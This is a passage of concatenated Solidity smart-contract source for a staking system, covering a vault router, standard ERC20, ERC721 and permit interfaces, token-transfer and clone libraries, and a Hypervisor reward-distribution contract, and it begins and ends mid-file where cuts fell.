IERC721(visorFactory).safeTransferFrom(address(this), visorOwner, uint256(vault)); // permit and stake permitAndStake(hypervisor, vault, permit, permission); // return vault return vault; } function permitAndStake( address hypervisor, address vault, Permit calldata permit, bytes calldata permission ) public { // get staking token address stakingToken = IHypervisor(hypervisor).getHypervisorData().stakingToken; // permit transfer IERC20Permit(stakingToken).permit( permit.owner, permit.spender, permit.value, permit.deadline, permit.v, permit.r, permit.s ); // transfer tokens TransferHelper.safeTransferFrom(stakingToken, msg.sender, vault, permit.value); // stake IHypervisor(hypervisor).stake(vault, permit.value, permission); } struct StakeRequest { address hypervisor; address vault; uint256 amount; bytes permission; } function stakeMulti(StakeRequest[] calldata requests) external { for (uint256 index = 0; index < requests.length; index++) { StakeRequest calldata request = requests[index]; IHypervisor(request.hypervisor).stake(request.vault, request.amount, request.permission); } } struct UnstakeRequest { address hypervisor; address vault; uint256 amount; bytes permission; } function unstakeMulti(UnstakeRequest[] calldata requests) external { for (uint256 index = 0; index < requests.length; index++) { UnstakeRequest calldata request = requests[index]; IHypervisor(request.hypervisor).unstakeAndClaim( request.vault, request.amount, request.permission ); } } function predictDeterministicAddress( address master, bytes32 salt, address deployer ) external pure returns (address instance) { return Clones.predictDeterministicAddress(master, salt, deployer); } function stake( address hypervisor, address vault, uint256 value, bytes calldata permission ) public { // get staking token address stakingToken = IHypervisor(hypervisor).getHypervisorData().stakingToken; // transfer tokens TransferHelper.safeTransferFrom(stakingToken, msg.sender, vault, value); // stake IHypervisor(hypervisor).stake(vault, value, permission); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC721Receiver.sol"; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721Holder is IERC721Receiver { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {IUniversalVault} from "../visor/Visor.sol"; import {IRewardPool} from "./RewardPool.sol"; import {Powered} from "./Powered.sol"; interface IRageQuit { function rageQuit() external; } interface IHypervisor is IRageQuit { /* admin events */ event HypervisorCreated(address rewardPool, address powerSwitch); event HypervisorFunded(uint256 amount, uint256 duration); event BonusTokenRegistered(address token); event VaultFactoryRegistered(address factory); event VaultFactoryRemoved(address factory); /* user events */ event Staked(address vault, uint256 amount); event Unstaked(address vault, uint256 amount); event RewardClaimed(address vault, address recipient, address token, uint256 amount); /* data types */ struct HypervisorData { address stakingToken; address rewardToken; address rewardPool; RewardScaling rewardScaling; uint256 rewardSharesOutstanding; uint256 totalStake; uint256 totalStakeUnits; uint256 lastUpdate; RewardSchedule[] rewardSchedules; } struct RewardSchedule { uint256 duration; uint256 start; uint256 shares; } struct VaultData { uint256 totalStake; StakeData[] stakes; } struct StakeData { uint256 amount; uint256 timestamp; } struct RewardScaling { uint256 floor; uint256 ceiling; uint256 time; } struct RewardOutput { uint256 lastStakeAmount; uint256 newStakesCount; uint256 reward; uint256 newTotalStakeUnits; } /* user functions */ function stake( address vault, uint256 amount, bytes calldata permission ) external; function unstakeAndClaim( address vault, uint256 amount, bytes calldata permission ) external; /* getter functions */ function getHypervisorData() external view returns (HypervisorData memory hypervisor); function getBonusTokenSetLength() external view returns (uint256 length); function getBonusTokenAtIndex(uint256 index) external view returns (address bonusToken); function getVaultFactorySetLength() external view returns (uint256 length); function getVaultFactoryAtIndex(uint256 index) external view returns (address factory); function getVaultData(address vault) external view returns (VaultData memory vaultData); function isValidAddress(address target) external view returns (bool validity); function isValidVault(address target) external view returns (bool validity); function getCurrentUnlockedRewards() external view returns (uint256 unlockedRewards); function getFutureUnlockedRewards(uint256 timestamp) external view returns (uint256 unlockedRewards); function getCurrentVaultReward(address vault) external view returns (uint256 reward); function getCurrentStakeReward(address vault, uint256 stakeAmount) external view returns (uint256 reward); function getFutureVaultReward(address vault, uint256 timestamp) external view returns (uint256 reward); function getFutureStakeReward( address vault, uint256 stakeAmount, uint256 timestamp ) external view returns (uint256 reward); function getCurrentVaultStakeUnits(address vault) external view returns (uint256 stakeUnits); function getFutureVaultStakeUnits(address vault, uint256 timestamp) external view returns (uint256 stakeUnits); function getCurrentTotalStakeUnits() external view returns (uint256 totalStakeUnits); function getFutureTotalStakeUnits(uint256 timestamp) external view returns (uint256 totalStakeUnits); /* pure functions */ function calculateTotalStakeUnits(StakeData[] memory stakes, uint256 timestamp) external pure returns (uint256 totalStakeUnits); function calculateStakeUnits( uint256 amount, uint256 start, uint256 end ) external pure returns (uint256 stakeUnits); function calculateUnlockedRewards( RewardSchedule[] memory rewardSchedules, uint256 rewardBalance, uint256 sharesOutstanding, uint256 timestamp ) external pure returns (uint256 unlockedRewards); function calculateRewardFromStakes( StakeData[] memory stakes, uint256 unstakeAmount, uint256 unlockedRewards, uint256 totalStakeUnits, uint256 timestamp, RewardScaling memory rewardScaling ) external pure returns (RewardOutput memory out); function calculateReward( uint256 unlockedRewards, uint256 stakeAmount, uint256 stakeDuration, uint256 totalStakeUnits, RewardScaling memory rewardScaling ) external pure returns (uint256 reward); } /// @title Hypervisor /// @notice Reward distribution contract with time multiplier /// Access Control /// - Power controller: /// Can power off / shutdown the Hypervisor /// Can withdraw rewards from reward pool once shutdown /// - Proxy owner: /// Can change arbitrary logic / state by upgrading the Hypervisor /// Is unable to operate on user funds due to UniversalVault /// Is unable to operate on reward pool funds when reward pool is offline / shutdown /// - Hypervisor admin: /// Can add funds to the Hypervisor, register bonus tokens, and whitelist new vault factories /// Is a subset of proxy owner permissions /// - User: /// Can deposit / withdraw / ragequit /// Hypervisor State Machine /// - Online: /// Hypervisor is operating normally, all functions are enabled /// - Offline: /// Hypervisor is temporarely disabled for maintenance /// User deposits and withdrawls are disabled, ragequit remains enabled /// Users can withdraw their stake through rageQuit() but forego their pending reward /// Should only be used when downtime required for an upgrade /// - Shutdown: /// Hypervisor is permanently disabled /// All functions are disabled with the exception of ragequit /// Users can withdraw their stake through rageQuit() /// Power controller can withdraw from the reward pool /// Should only be used if Proxy Owner role is compromized contract Hypervisor is IHypervisor, Powered, Ownable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; /* constants */ // An upper bound on the number of active stakes per vault is required to prevent // calls to rageQuit() from reverting. // With 30 stakes in a vault, ragequit costs 432811 gas which is conservatively lower // than the hardcoded limit of 500k gas on the vault. // This limit is configurable and could be increased in a future deployment. // Ultimately, to avoid a need for fixed upper bounds, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant MAX_STAKES_PER_VAULT = 30; uint256 public constant MAX_REWARD_TOKENS = 50; uint256 public constant BASE_SHARES_PER_WEI = 1000000; uint256 public stakeLimit = 2500 ether; /* storage */ HypervisorData private _hypervisor; mapping(address => VaultData) private _vaults; EnumerableSet.AddressSet private _bonusTokenSet; EnumerableSet.AddressSet private _vaultFactorySet; /* initializer */ /// @notice Initizalize Hypervisor /// access control: only proxy constructor /// state machine: can only be called once /// state scope: set initialization variables /// token transfer: none /// @param ownerAddress address The admin address /// @param rewardPoolFactory address The factory to use for deploying the RewardPool /// @param powerSwitchFactory address The factory to use for deploying the PowerSwitch /// @param stakingToken address The address of the staking token for this Hypervisor /// @param rewardToken address The address of the reward token for this Hypervisor /// @param rewardScaling RewardScaling The config for reward scaling floor, ceiling, and time constructor( address ownerAddress, address rewardPoolFactory, address powerSwitchFactory, address stakingToken, address rewardToken, RewardScaling memory rewardScaling, uint256 _stakeLimit ) { // the scaling floor must be smaller than ceiling require(rewardScaling.floor <= rewardScaling.ceiling, "Hypervisor: floor above ceiling"); // setting rewardScalingTime to 0 would cause divide by zero error // to disable reward scaling, use rewardScalingFloor == rewardScalingCeiling require(rewardScaling.time != 0, "Hypervisor: scaling time cannot be zero"); // deploy power switch address powerSwitch = IFactory(powerSwitchFactory).create(abi.encode(ownerAddress)); // deploy reward pool address rewardPool = IFactory(rewardPoolFactory).create(abi.encode(powerSwitch)); // set internal configs Ownable.transferOwnership(ownerAddress); Powered._setPowerSwitch(powerSwitch); // commit to storage _hypervisor.stakingToken = stakingToken; _hypervisor.rewardToken = rewardToken; _hypervisor.rewardPool = rewardPool; _hypervisor.rewardScaling = rewardScaling; stakeLimit = _stakeLimit; // emit event emit HypervisorCreated(rewardPool, powerSwitch); } /* getter functions */ function getBonusTokenSetLength() external view override returns (uint256 length) { return _bonusTokenSet.length(); } function getBonusTokenAtIndex(uint256 index) external view override returns (address bonusToken) { return _bonusTokenSet.at(index); } function getVaultFactorySetLength() external view override returns (uint256 length) { return _vaultFactorySet.length(); } function getVaultFactoryAtIndex(uint256 index) external view override returns (address factory) { return _vaultFactorySet.at(index); } function isValidVault(address target) public view override returns (bool validity) { // validate target is created from whitelisted vault factory for (uint256 index = 0; index < _vaultFactorySet.length(); index++) { if (IInstanceRegistry(_vaultFactorySet.at(index)).isInstance(target)) { return true; } } // explicit return return false; } function isValidAddress(address target) public view override returns (bool validity) { // sanity check target for potential input errors return target != address(this) && target != address(0) && target != _hypervisor.stakingToken && target != _hypervisor.rewardToken && target != _hypervisor.rewardPool && !_bonusTokenSet.contains(target); } /* Hypervisor getters */ function getHypervisorData() external view override returns (HypervisorData memory hypervisor) { return _hypervisor; } function getCurrentUnlockedRewards() public view override returns (uint256 unlockedRewards) { // calculate reward available based on state return getFutureUnlockedRewards(block.timestamp); } function getFutureUnlockedRewards(uint256 timestamp) public view override returns (uint256 unlockedRewards) { // get reward amount remaining uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool); // calculate reward available based on state unlockedRewards = calculateUnlockedRewards( _hypervisor.rewardSchedules, remainingRewards, _hypervisor.rewardSharesOutstanding, timestamp ); // explicit return return unlockedRewards; } function getCurrentTotalStakeUnits() public view override returns (uint256 totalStakeUnits) { // calculate new stake units return getFutureTotalStakeUnits(block.timestamp); } function getFutureTotalStakeUnits(uint256 timestamp) public view override returns (uint256 totalStakeUnits) { // return early if no change if (timestamp == _hypervisor.lastUpdate) return _hypervisor.totalStakeUnits; // calculate new stake units uint256 newStakeUnits = calculateStakeUnits(_hypervisor.totalStake, _hypervisor.lastUpdate, timestamp); // add to cached total totalStakeUnits = _hypervisor.totalStakeUnits.add(newStakeUnits); // explicit return return totalStakeUnits; } /* vault getters */ function getVaultData(address vault) external view override returns (VaultData memory vaultData) { return _vaults[vault]; } function getCurrentVaultReward(address vault) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, _vaults[vault] .totalStake, getCurrentUnlockedRewards(), getCurrentTotalStakeUnits(), block .timestamp, _hypervisor .rewardScaling ) .reward; } function getFutureVaultReward(address vault, uint256 timestamp) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, _vaults[vault] .totalStake, getFutureUnlockedRewards(timestamp), getFutureTotalStakeUnits(timestamp), timestamp, _hypervisor .rewardScaling ) .reward; } function getCurrentStakeReward(address vault, uint256 stakeAmount) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, stakeAmount, getCurrentUnlockedRewards(), getCurrentTotalStakeUnits(), block .timestamp, _hypervisor .rewardScaling ) .reward; } function getFutureStakeReward( address vault, uint256 stakeAmount, uint256 timestamp ) external view override returns (uint256 reward) { // calculate rewards return calculateRewardFromStakes( _vaults[vault] .stakes, stakeAmount, getFutureUnlockedRewards(timestamp), getFutureTotalStakeUnits(timestamp), timestamp, _hypervisor .rewardScaling ) .reward; } function getCurrentVaultStakeUnits(address vault) public view override returns (uint256 stakeUnits) { // calculate stake units return getFutureVaultStakeUnits(vault, block.timestamp); } function getFutureVaultStakeUnits(address vault, uint256 timestamp) public view override returns (uint256 stakeUnits) { // calculate stake units return calculateTotalStakeUnits(_vaults[vault].stakes, timestamp); } /* pure functions */ function calculateTotalStakeUnits(StakeData[] memory stakes, uint256 timestamp) public pure override returns (uint256 totalStakeUnits) { for (uint256 index; index < stakes.length; index++) { // reference stake StakeData memory stakeData = stakes[index]; // calculate stake units uint256 stakeUnits = calculateStakeUnits(stakeData.amount, stakeData.timestamp, timestamp); // add to running total totalStakeUnits = totalStakeUnits.add(stakeUnits); } } function calculateStakeUnits( uint256 amount, uint256 start, uint256 end ) public pure override returns (uint256 stakeUnits) { // calculate duration uint256 duration = end.sub(start); // calculate stake units stakeUnits = duration.mul(amount); // explicit return return stakeUnits; } function calculateUnlockedRewards( RewardSchedule[] memory rewardSchedules, uint256 rewardBalance, uint256 sharesOutstanding, uint256 timestamp ) public pure override returns (uint256 unlockedRewards) { // return 0 if no registered schedules if (rewardSchedules.length == 0) { return 0; } // calculate reward shares locked across all reward schedules uint256 sharesLocked; for (uint256 index = 0; index < rewardSchedules.length; index++) { // fetch reward schedule storage reference RewardSchedule memory schedule = rewardSchedules[index]; // caculate amount of shares available on this schedule // if (now - start) < duration // sharesLocked = shares - (shares * (now - start) / duration) // else // sharesLocked = 0 uint256 currentSharesLocked = 0; if (timestamp.sub(schedule.start) < schedule.duration) { currentSharesLocked = schedule.shares.sub( schedule.shares.mul(timestamp.sub(schedule.start)).div(schedule.duration) ); } // add to running total sharesLocked = sharesLocked.add(currentSharesLocked); } // convert shares to reward // rewardLocked = sharesLocked * rewardBalance / sharesOutstanding uint256 rewardLocked = sharesLocked.mul(rewardBalance).div(sharesOutstanding); // calculate amount available // unlockedRewards = rewardBalance - rewardLocked unlockedRewards = rewardBalance.sub(rewardLocked); // explicit return return unlockedRewards; } function calculateRewardFromStakes( StakeData[] memory stakes, uint256 unstakeAmount, uint256 unlockedRewards, uint256 totalStakeUnits, uint256 timestamp, RewardScaling memory rewardScaling ) public pure override returns (RewardOutput memory out) { uint256 stakesToDrop = 0; while (unstakeAmount > 0) { // fetch vault stake storage reference StakeData memory lastStake = stakes[stakes.length.sub(stakesToDrop).sub(1)]; // calculate stake duration uint256 stakeDuration = timestamp.sub(lastStake.timestamp); uint256 currentAmount; if (lastStake.amount > unstakeAmount) { // set current amount to remaining unstake amount currentAmount = unstakeAmount; // amount of last stake is reduced out.lastStakeAmount = lastStake.amount.sub(unstakeAmount); } else { // set current amount to amount of last stake currentAmount = lastStake.amount; // add to stakes to drop stakesToDrop += 1; } // update remaining unstakeAmount unstakeAmount = unstakeAmount.sub(currentAmount); // calculate reward amount uint256 currentReward = calculateReward( unlockedRewards, currentAmount, stakeDuration, totalStakeUnits, rewardScaling ); // update cumulative reward out.reward = out.reward.add(currentReward); // update cached unlockedRewards unlockedRewards = unlockedRewards.sub(currentReward); // calculate time weighted stake uint256 stakeUnits = currentAmount.mul(stakeDuration); // update cached totalStakeUnits totalStakeUnits = totalStakeUnits.sub(stakeUnits); } // explicit return return RewardOutput( out.lastStakeAmount, stakes.length.sub(stakesToDrop), out.reward, totalStakeUnits ); } function calculateReward( uint256 unlockedRewards, uint256 stakeAmount, uint256 stakeDuration, uint256 totalStakeUnits, RewardScaling memory rewardScaling ) public pure override returns (uint256 reward) { // calculate time weighted stake uint256 stakeUnits = stakeAmount.mul(stakeDuration); // calculate base reward // baseReward = unlockedRewards * stakeUnits / totalStakeUnits uint256 baseReward = 0; if (totalStakeUnits != 0) { // scale reward according to proportional weight baseReward = unlockedRewards.mul(stakeUnits).div(totalStakeUnits); } // calculate scaled reward // if no scaling or scaling period completed // reward = baseReward // else // minReward = baseReward * scalingFloor / scalingCeiling // bonusReward = baseReward // * (scalingCeiling - scalingFloor) / scalingCeiling // * duration / scalingTime // reward = minReward + bonusReward if (stakeDuration >= rewardScaling.time || rewardScaling.floor == rewardScaling.ceiling) { // no reward scaling applied reward = baseReward; } else { // calculate minimum reward using scaling floor uint256 minReward = baseReward.mul(rewardScaling.floor).div(rewardScaling.ceiling); // calculate bonus reward with vested portion of scaling factor uint256 bonusReward = baseReward .mul(stakeDuration) .mul(rewardScaling.ceiling.sub(rewardScaling.floor)) .div(rewardScaling.ceiling) .div(rewardScaling.time); // add minimum reward and bonus reward reward = minReward.add(bonusReward); } // explicit return return reward; } /* admin functions */ /// @notice Add funds to the Hypervisor /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - increase _hypervisor.rewardSharesOutstanding /// - append to _hypervisor.rewardSchedules /// token transfer: transfer staking tokens from msg.sender to reward pool /// @param amount uint256 Amount of reward tokens to deposit /// @param duration uint256 Duration over which to linearly unlock rewards function fund(uint256 amount, uint256 duration) external onlyOwner onlyOnline { // validate duration require(duration != 0, "Hypervisor: invalid duration"); // create new reward shares // if existing rewards on this Hypervisor // mint new shares proportional to % change in rewards remaining // newShares = remainingShares * newReward / remainingRewards // else // mint new shares with BASE_SHARES_PER_WEI initial conversion rate // store as fixed point number with same of decimals as reward token uint256 newRewardShares; if (_hypervisor.rewardSharesOutstanding > 0) { uint256 remainingRewards = IERC20(_hypervisor.rewardToken).balanceOf(_hypervisor.rewardPool); newRewardShares = _hypervisor.rewardSharesOutstanding.mul(amount).div(remainingRewards); } else { newRewardShares = amount.mul(BASE_SHARES_PER_WEI); } // add reward shares to total _hypervisor.rewardSharesOutstanding = _hypervisor.rewardSharesOutstanding.add(newRewardShares); // store new reward schedule _hypervisor.rewardSchedules.push(RewardSchedule(duration, block.timestamp, newRewardShares)); // transfer reward tokens to reward pool TransferHelper.safeTransferFrom( _hypervisor.rewardToken, msg.sender, _hypervisor.rewardPool, amount ); // emit event emit HypervisorFunded(amount, duration); } /// @notice Add vault factory to whitelist /// @dev use this function to enable stakes to vaults coming from the specified /// factory contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - append to _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function registerVaultFactory(address factory) external onlyOwner notShutdown { // add factory to set require(_vaultFactorySet.add(factory), "Hypervisor: vault factory already registered"); // emit event emit VaultFactoryRegistered(factory); } /// @notice Remove vault factory from whitelist /// @dev use this function to disable new stakes to vaults coming from the specified /// factory contract. /// note: vaults with existing stakes from this factory are sill able to unstake /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function removeVaultFactory(address factory) external onlyOwner notShutdown { // remove factory from set require(_vaultFactorySet.remove(factory), "Hypervisor: vault factory not registered"); // emit event emit VaultFactoryRemoved(factory); } /// @notice Register bonus token for distribution /// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - append to _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function registerBonusToken(address bonusToken) external onlyOwner onlyOnline { // verify valid bonus token _validateAddress(bonusToken); // verify bonus token count require(_bonusTokenSet.length() < MAX_REWARD_TOKENS, "Hypervisor: max bonus tokens reached "); // add token to set assert(_bonusTokenSet.add(bonusToken)); // emit event emit BonusTokenRegistered(bonusToken); } /// @notice Rescue tokens from RewardPool /// @dev use this function to rescue tokens from RewardPool contract /// without distributing to stakers or triggering emergency shutdown /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: none /// token transfer: transfer requested token from RewardPool to recipient /// @param token address The address of the token to rescue /// @param recipient address The address of the 